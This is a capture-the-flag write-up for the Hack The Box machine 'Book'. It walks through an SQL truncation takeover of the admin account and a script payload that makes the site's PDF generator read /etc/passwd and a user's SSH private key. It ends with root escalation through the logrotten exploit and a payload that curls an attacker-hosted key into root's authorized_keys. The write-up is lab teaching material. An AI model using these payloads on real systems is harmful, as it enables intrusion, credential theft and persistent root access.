Book - HackThebox

Book is a medium difficulty Linux machine on Hack The Box in which we'll take advantage of PDF generator in order to read an arbitrary file and exploit logrotate to escalate to root.

Information gathering

Let's run a quick port scan:

$ nmap -A -T4 10.10.10.176

Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-19 20:16 EDT
Nmap scan report for 10.10.10.176
Host is up (0.078s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The only accessible thing is the HTTP server on port 80, so let's visit it:

As we can register, let's do it and login:

Exploring the website

It's a library website, one thing that may be useful later is a mail found in the Contact Us page:

Another interesting functionality is an upload in the Collections section that allows us to upload a new book to the library:

After uploading a .pdf file, this is the result:

Further exploration

Let's run a quick discovery with ffuf:

$ ffuf -c -r -ac -w /usr/share/wordlists/raft-large.txt -u http://10.10.10.176/FUZZ

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.176/FUZZ
 :: Follow redirects : true
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 277
 :: Filter           : Response words: 20
 :: Filter           : Response lines: 10
________________________________________________

admin                   [Status: 200, Size: 6291, Words: 377, Lines: 308]
index.php               [Status: 200, Size: 6800, Words: 461, Lines: 322]
search.php              [Status: 200, Size: 6800, Words: 461, Lines: 322]
profile.php             [Status: 200, Size: 6800, Words: 461, Lines: 322]
download.php            [Status: 200, Size: 6800, Words: 461, Lines: 322]
home.php                [Status: 200, Size: 6800, Words: 461, Lines: 322]
contact.php             [Status: 200, Size: 6800, Words: 461, Lines: 322]
logout.php              [Status: 200, Size: 6800, Words: 461, Lines: 322]
feedback.php            [Status: 200, Size: 6800, Words: 461, Lines: 322]
.                       [Status: 200, Size: 6800, Words: 461, Lines: 322]
db.php                  [Status: 200, Size: 0, Words: 1, Lines: 1]
settings.php            [Status: 200, Size: 6800, Words: 461, Lines: 322]
books.php               [Status: 200, Size: 6800, Words: 461, Lines: 322]
collections.php         [Status: 200, Size: 6800, Words: 461, Lines: 322]
admin                   [Status: 200, Size: 6291, Words: 377, Lines: 308]
.                       [Status: 200, Size: 6800, Words: 461, Lines: 322]

/admin is another login.

Truncation attack

While doing some common enumeration stuff, I noticed something interesting. I've registered an account using a long mail address, and the login suddenly wouldn't work. Some in depth fuzzing allowed me to discover that there's a mail length limit of 20 characters, so if we register with abcdefghijklmnopqrst@mail.com, the @mail.com part will be omitted. Probably the backend uses the TRUNCATE SQL function.

This is a serious problem because we can register using admin@book.htb foo as mail and foo will be truncated and the remaining spaces will be trimmed.

Let's fire up burp and, after intercepting the registration request, let's modify it like this:

And now we can login to /admin using admin@book.htb as mail and admin as password:

The admin panel allows us to export the list of users and the list of collections as a PDF:

And this will be the exported PDF:

I was doing some testing and when I tried to use <h1>Bold test</h1> as the book title in the user section of the website, this is the resulting exported Collections PDF from the admin section:

Arbitraty file read

Great! Let's see how we can exploit this! Here's an article that helped me a lot.

Let's try to use this payload as title in the user section:

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script> 

And let's export the Collections PDF from the admin section:

We can see that there's a user called reader. Let's try the same thing but for /home/reader/.ssh/id_rsa instead of /etc/passwd:

The only problem here is that it's not so easy to copy and paste, as long lines are overflowing outside of the PDF. Luckily there's a handy script that can help us called pdf2txt.py.

So let's run pdf2txt.py 36801.pdf > id_rsa, and after replacing tabs with spaces we can try to login in as reader using the RSA key:

$ ssh -i id_rsa reader@10.10.10.176
The authenticity of host '10.10.10.176 (10.10.10.176)' can't be established.
ECDSA key fingerprint is SHA256:QRw8pCXg7E8d9sWI+0Z9nZxClJiq9/eAeT/9wUfoQQk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.176' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jul 13 19:05:03 UTC 2020

  System load:  0.11               Processes:            148
  Usage of /:   26.5% of 19.56GB   Users logged in:      1
  Memory usage: 22%                IP address for ens33: 10.10.10.176
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

114 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3
reader@book:~$

And we're in! Let's see if we can read the user flag:

reader@book:~$ wc -c user.txt
33 user.txt

Privilege escalation

Running the linpeas.sh enumeration script on the machine, we notice an interesting entry:

[+] Writable log files (logrotten) (limit 100)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation
#)You_can_write_more_log_files_inside_last_directory
#)You_can_write_more_log_files_inside_last_directory
#)You_can_write_more_log_files_inside_last_directory
Writable: /home/reader/backups/access.log

The vulnerability that affects logrotate is a race condition, in which we are able to write to any file that the logrotate process has the permission to, and it is explained here really well.

We will use it to write out malicious payload to /etc/bash_completion.d, which contains some scripts that bash runs upon any login.

Let's download and compile the logrotten exploit:

$ git clone https://github.com/whotwagner/logrotten && cd logrotten
Cloning into 'logrotten'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 87 (delta 0), reused 1 (delta 0), pack-reused 84
Unpacking objects: 100% (87/87), 416.19 KiB | 1.07 MiB/s, done.
$ gcc -o logrotten logrotten.c

To copy it on the machine, we can start a HTTP server with python3 -m http.server 1337 on our machine and download it on the remote machine with wget http://10.10.14.81:1337/logrotten.

After generating a key with ssh-keygen on our machine, let's save on the remote machine the payload that will download it and add it to the authorized keys of root:

#!/bin/bash
curl http://10.10.14.81:1337/id_rsa.pub >> /root/.ssh/authorized_keys

Let's run the exploit:

reader@book:~$ ./logrotten -p ./payload backups/access.log
Waiting for rotating backups/access.log...

We now have to trigger the log rotation. We can do something like echo test >> ~/backups/access.log until we see this message from logrotten:

Renamed backups with backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!

As soon as we see the connection on our HTTP server we know that the payload has been executed, so let's connect with ssh:

root@book:~# wc -c root.txt
33 root.txt

And here we go! Thanks for reading!